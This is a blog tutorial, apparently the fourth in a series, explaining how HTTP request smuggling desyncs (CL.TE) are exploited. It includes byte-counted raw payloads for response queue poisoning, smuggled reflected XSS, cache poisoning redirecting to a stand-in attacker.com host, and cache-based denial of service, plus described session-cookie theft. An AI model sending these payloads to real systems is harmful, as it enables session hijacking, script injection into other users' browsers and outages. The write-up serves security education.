Skip to main content

Command Palette

Search for a command to run...

HTTP Request Smuggling Part 4

Exploitation and Impact

Updated
16 min readView as Markdown
HTTP Request Smuggling Part 4

This article is for educational purposes only, and applies solely to systems you are explicitly authorized to test.

Introduction


Once a frontend and a backend disagree about where one HTTP request ends and the next begins, an attacker can smuggle a hidden request into the connection so the backend processes it as if it were legitimate. That core desync is only the starting point — this post walks through what an attacker can actually do with it, from bypassing access controls with zero victim interaction, to hijacking another user's session by getting them to unknowingly complete a malicious request.

All examples below use a CL.TE desync (frontend trusts Content-Length, backend trusts Transfer-Encoding: chunked) purely because it's the clearest to follow. The same outcomes apply to the other discrepancy types — TE.CL, TE.TE, CL.0, and HTTP/2 downgrade smuggling (H2.TE and H2.CL) — just with different headers triggering the mismatch.

We'll follow a progression from attacks requiring no victim interaction to attacks affecting every user of the application:

Escalation Level Example Attack What the Attacker Gains
No victim Frontend access-control bypass Direct access to protected functionality
Passive victim Cookie theft / Response Queue Poisoning Another user's authenticated data
Active victim Reflected XSS via request smuggling Code execution in another user's browser
Mass impact Web cache poisoning / Cache DoS Impact on every user who visits the site

Attacks with No Victim

The attacker sends every byte and reads the result themselves; no other user is ever involved.


Bypassing frontend access controls


Imagine an /admin endpoint that's supposed to be reachable only by internal users — but that restriction is enforced by the frontend, not the backend.

If the site is vulnerable to HTTP request smuggling, we can smuggle a hidden /admin request past the frontend's access controls and have it executed directly by the backend.

Request 1 — Smuggling the hidden request

The attacker sends a CL.TE payload containing a hidden GET /admin request after the chunk terminator (0\r\n\r\n). The frontend forwards the entire request based on Content-Length, but the backend stops parsing at the chunk terminator and treats the smuggled GET /admin as leftover data.

The POST receives a normal 200 OK response, while the hidden /admin request remains buffered on the backend connection, waiting to be processed next.

Request 2 — Bypassing the frontend control

The attacker sends a second ordinary request, no victim is involved.

  • It passes through the frontend normally; there's nothing suspicious about it, so the frontend never inspects or blocks it.

  • At the backend, the buffered leftover from Request 1 is still queued at the front of the connection. The backend prepends the smuggled GET /admin request to this new request, effectively processing /admin.

Because the backend — not the frontend — is the one enforcing routing to /admin, and the frontend never saw /admin as a distinct request to filter, the frontend access control is bypassed entirely. The /admin response comes back to the attacker on their own Request 2, so no victim interaction is ever required.

Revealing frontend header rewriting


Some frontends don't just forward requests — they rewrite them, appending a header the backend relies on for its access decision (a common example is X-Forwarded-For or Client-IP, set to the real client's address before forwarding).

Request smuggling can be used to reveal exactly what the frontend is rewriting. If you can get the smuggled request reflected somewhere publicly visible — for example, stored and displayed as a comment on a web page — you can read back the raw request as the backend actually received it. This exposes any headers the frontend added, modified, or stripped, giving you a precise picture of its rewriting logic.

Request 1 — Smuggling a partial comment submission

The attacker sends a CL.TE payload containing the start of a second, incomplete comment submission (POST ... User=User3&Comment=). The frontend forwards the entire request and appends its usual headers (such as X-Real-IP), but the backend stops parsing at 0\r\n\r\n and leaves the incomplete comment buffered on the connection.

The open Comment= field remains waiting for additional data, which will be supplied by the next request that arrives on that connection.

Request 2 — completing the smuggled comment with hidden headers

A second request arrives and is forwarded normally. Because the backend is still holding the buffered Comment= field from Request 1, the frontend-added headers (such as X-Real-IP) are absorbed into the comment instead of being treated as part of a new request.

When the comment is later displayed, it reveals the raw request as the backend received it, including any headers the frontend injected, modified, or stripped.

Attacks with a Passive Victim

A victim is required, but only as a source of data. The attacker never sends them a payload or targets their browser directly; the victim simply makes a normal request that becomes part of the attack.


Stealing another user's request as stored input


Rather than completing our own smuggled request, we can leave it deliberately unfinished so the backend keeps waiting on the connection for more bytes. The next real user to hit that same backend connection has their request appended directly into ours.

The setup mirrors the header-rewriting attack above: the same partial POST … User=User3&Comment= smuggled fragment, left open. The difference is who supplies the bytes that complete it.

Request 1 — Smuggling a partial comment submission

The attacker sends the same partial POST as before (conflicting Content-Length / Transfer-Encoding: chunked, body ending in 0\r\n\r\n followed by the deliberately incomplete POST / … Comment=).

  • The frontend forwards it by Content-Length; the backend stops at 0\r\n\r\n and buffers the open-ended Comment= fragment, responding 200 OK to what it thinks was a complete request.

  • The fragment stays buffered on the connection, with Comment= still open, waiting for whatever data arrives next.

Request 2 — hijacking a real user's request to steal their cookie

  • When a legitimate user's request arrives, the backend appends it to the attacker's incomplete comment instead of treating it as a separate request.

  • As a result, the victim's request — including their session cookie — is stored inside the comment, allowing the attacker to retrieve it later in the comment section.

Response Queue Poisoning


Response Queue Poisoning (RQP) exploits desynchronization between frontend and backend to misroute responses. Instead of tricking the backend into completing an incomplete request, the attacker sends two well-formed requests that are interpreted differently, causing responses to reach the wrong clients.

Crafting the RQP payload (CL.TE)

POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 42\r\n
\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
\r\n

Byte check. The body is everything after the blank line:

0\r\n                 →  3
\r\n                  →  2
GET / HTTP/1.1\r\n    → 16
Host: example.com\r\n → 19
\r\n                  →  2
= 42 bytes

The critical detail is that the smuggled GET request ends with a blank line (\r\n\r\n), which closes its header section and makes it a fully valid, self-contained request the backend will queue and process independently.

The result: the frontend believes it sent one POST, while the backend has queued two separate requests — the POST (which ends at the chunk marker) and the complete GET. This mismatch is what creates the poisoned response queue.

The attack flow

  • Step 1 — attacker sends the smuggling payload. The frontend treats it as one POST and forwards it. The backend interprets it as POST + hidden GET, queuing both: [POST (attacker), GET (smuggled)]

  • Step 2 — a user submits login credentials. A legitimate user sends a login POST, which arrives at the backend and joins the queue behind the smuggled GET: [POST (attacker), GET (smuggled), POST /login (user)]

  • Step 3 — attacker sends a follow-up request. The attacker sends another simple GET, which also joins the queue: [POST (attacker), GET (smuggled), POST /login (user), GET (attacker)]

The response mismatch: four responses, three requests sent

The backend processes all four requests in order and generates four responses:

  • POST / (attacker's main POST) → 200 OK

  • GET / (smuggled GET) → 200 OK

  • POST /login (user's login) → 302 Found (with Set-Cookie / session token)

  • GET / (attacker's follow-up) → 200 OK

However, the frontend believes it only sent three requests: the attacker's POST, the user's POST /login, and the attacker's GET.

When the four responses arrive from the backend, the frontend routes them based on its own incorrect count:

  • Response 1 → attacker (the POST response) ✓

  • Response 2 → user (should be the login response, but it's actually the smuggled GET's response)

  • Response 3 → attacker (should be the attacker's GET response, but it's actually the user's login response)

  • Response 4 → lost or delayed

The frontend and backend disagree on request boundaries: the frontend sees three requests while the backend processes four. Because it sent fewer requests than the backend processed, the frontend misroutes the responses — handing the attacker the victim's login response. In this example, this captures the user's session token without the attacker ever touching the login endpoint directly.

Attacks with an active victim

Now the victim is the target, not just the source: the attacker's response is delivered into the victim's browser and executes under the site's own origin.


Escalating reflected XSS into a stored-like vulnerability


HTTP Request Smuggling can dramatically increase the impact of a reflected XSS vulnerability. Normally, reflected XSS requires the attacker to persuade a victim to visit a specially crafted URL containing the payload. If the victim never clicks the link, the attack never executes.

For example, imagine the application reflects the search term without proper escaping:

GET /search?q=<script>alert(1)</script> HTTP/1.1
Host: example.com

When processed, the payload is echoed back into the response and executed by the browser. The attacker must therefore convince each victim to visit a malicious URL, making the attack relatively unreliable.

If the same application is also vulnerable to HTTP Request Smuggling, the attacker can deliver that exploit without requiring any user interaction.

Crafting the payload

The attacker embeds the reflected-XSS request inside a CL.TE desynchronization payload:

POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 66\r\n
\r\n
0\r\n
\r\n
GET /search?q=<script>alert(1)</script> HTTP/1.1\r\n
X-Ignore: x

Byte check. The body is everything after the blank line:

0\r\n                       →  3
\r\n                        →  2
GET /search?q=<script>alert(1)</script> HTTP/1.1\r\n → 50
X-Ignore: x                → 11
= 66 bytes

Request 1 — Smuggling the hidden request

The frontend trusts Content-Length and forwards the entire request to the backend. The backend, however, trusts Transfer-Encoding: chunked and stops parsing at the terminating 0\r\n\r\n, treating the original request as complete. It returns a normal 200 OK to the attacker while leaving the embedded /search request buffered on the reused backend connection — its header block still open on the dangling X-Ignore header.

Request 2 — Executing JavaScript in the victim's browser

When another user later sends a legitimate request, its request line is absorbed by the dangling X-Ignore header and the backend processes the buffered request:

GET /search?q=<script>alert(1)</script> HTTP/1.1
Host: example.com

The victim receives a page containing the reflected XSS payload even though they never clicked the malicious URL.

The attack changes the delivery mechanism entirely. Instead of relying on social engineering, the attacker abuses HRS to have the vulnerable response served automatically to unrelated users.

Type How it works User interaction
Reflected XSS Attacker sends a malicious URL Malicious-link click Required
DOM XSS Payload supplied through client-side data Malicious-link click Required
XSS via Request Smuggling Payload delivered through a poisoned request queue No malicious-link click Required

In other words, Request Smuggling does not create a new XSS vulnerability — it amplifies an existing one, making the attack behave similarly to stored XSS and significantly increasing its reliability and impact.

Attacks with Mass Impact

Normal browsing triggers the poisoned resource


Web cache poisoning


The attack concept

Response Queue Poisoning misroutes one response to whoever holds the connection next. Point that same off-by-one at a caching frontend and the misrouted response is no longer transient — it gets stored. Every user who later requests the poisoned URL is served the attacker's response straight from cache, with no smuggling on their end and nothing unusual to do. One request poisons the entry; the cache handles distribution.

The technique needs three things:

  • A request-smuggling desync (CL.TE below);

  • A way to make the backend emit an attacker-controlled response, most commonly an open redirect driven by the Host header, so a request to an internal endpoint returns a 3xx pointing at the attacker's origin.

  • A cacheable resource that ordinary users request — a static asset like /resources/js/tracking.js is ideal.

Static assets are attractive targets because they are requested by many users, are frequently cached, and are often shared across large portions of the site. Poisoning a single asset can therefore affect every page that references it.

Note: The visitor never requests tracking.js directly. Their browser requests it automatically while rendering the page, which is why poisoning a widely used static asset can affect large numbers of users with a single cache entry. For instance:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Example Application</title>
</head>
<body>

    <h1>HomePage</h1>

    <script src="/resources/js/tracking.js"></script>

</body>
</html>

Crafting the payload (CL.TE)

POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 61\r\n
\r\n
0\r\n
\r\n
GET /post/next?postId=3 HTTP/1.1\r\n
Host: attacker.com\r\n
\r\n

Byte count:

0\r\n                                →  3
\r\n                                 →  2
GET /post/next?postId=3 HTTP/1.1\r\n → 34
Host: attacker.com\r\n               → 20
\r\n                                 →  2
= 61 bytes

/post/next?postId=3 is assumed to issue a redirect built from the Host header — the open redirect the poison relies on.

Request 1 — Poisoning the queue

The attacker sends the CL.TE payload. The backend processes the POST normally but leaves the smuggled GET /post/next?postId=3 queued on the connection, ready to return a 302 redirect to attacker.com.

Request 2 — Caching the poisoned response

The attacker requests /resources/js/tracking.js. The backend answers the queued smuggled request first, and the frontend mistakenly caches the resulting 302 redirect under /resources/js/tracking.js instead of the real script.

Victims

From here, every visitor who loads a page that pulls /resources/js/tracking.js gets the cached 302 and is redirected to attacker.com, where the attacker can serve arbitrary content (e.g: malicious javascript).

Unlike a single-victim desync, one poison request affects every user who requests the resource until the cache entry expires. The result is effectively stored XSS: attacker-controlled content is served to ordinary users automatically, except the payload lives in the cache rather than the application's data store.

Denial of service


This attack is simply web cache poisoning with a cacheable error instead of a malicious redirect. The frontend caches the error response under a legitimate resource, causing every user who requests that resource to receive the cached failure until the entry expires.

Crafting the payload (CL.TE)

POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 53\r\n
\r\n
0\r\n
\r\n
GET /nonexistent HTTP/1.1\r\n
Host: example.com\r\n
\r\n

The smuggled GET /nonexistent resolves to nothing, so the backend answers 404 Not Found .

Byte count:

0\r\n                          →  3
\r\n                           →  2
GET /nonexistent HTTP/1.1\r\n  → 27
Host: example.com\r\n          → 19
\r\n                           →  2
= 53 bytes

Request 1 — Poisoning the queue with an error

The attacker sends the CL.TE payload. The backend processes the POST normally but leaves the smuggled GET /nonexistent queued on the connection, ready to return a 404 Not Found.

Request 2 — Caching the error against a live asset

The attacker requests /resources/js/app.js. Instead of returning the script, the backend answers the queued GET /nonexistent first. The frontend misattributes the 404 to /resources/js/app.js and caches it under that URL.

Victims

From here, every visitor who loads a page that pulls /resources/js/app.js is served the cached 404. The script never loads, and every page that depends on it breaks — for all users, until the entry expires.

If 404 Not Found isn't cached, the same technique works with any cacheable error the backend can be induced to return, such as 414, 405, 410, or 501, as well as CDN-specific behaviors exploited by CPDoS. The impact depends on the target: poison a shared script or API response and every dependent page breaks.

Caching isn't required, either. A persistent desync can continuously misroute responses on reused backend connections, causing users to receive incorrect responses and degrading service even without a cache.

As with the other attacks, the same principle applies across all desync variants; only the trigger differs.

Summary


Across this series we've gone from why frontends and backends disagree on request boundaries, through the six variants that create those disagreements, to what an attacker can actually do with them: bypassing frontend access controls, revealing hidden request rewriting, stealing another user's session, poisoning the response queue to capture sensitive responses, turning a reflected XSS into something that behaves like stored XSS, poisoning a shared cache to serve attacker-controlled content to every visitor, and taking resources offline by caching errors against them.

These examples are only a sample of what's possible. Throughout this article we combined request smuggling with a handful of familiar flaws—XSS, Host header injection, open redirects, and cache behavior—but the same desynchronization primitive can amplify many other vulnerabilities. Any functionality that depends on request boundaries, routing, authentication, caching, or trust between frontend and backend components can become a target.

The common thread is always the same: a disagreement about where one request ends and the next begins. Once an attacker gains control over that boundary, they gain influence over traffic that was never meant for them. Everything else—the stolen session, the poisoned cache, the XSS delivery mechanism, the access-control bypass—is simply a consequence of how that primitive interacts with the rest of the application.

7 views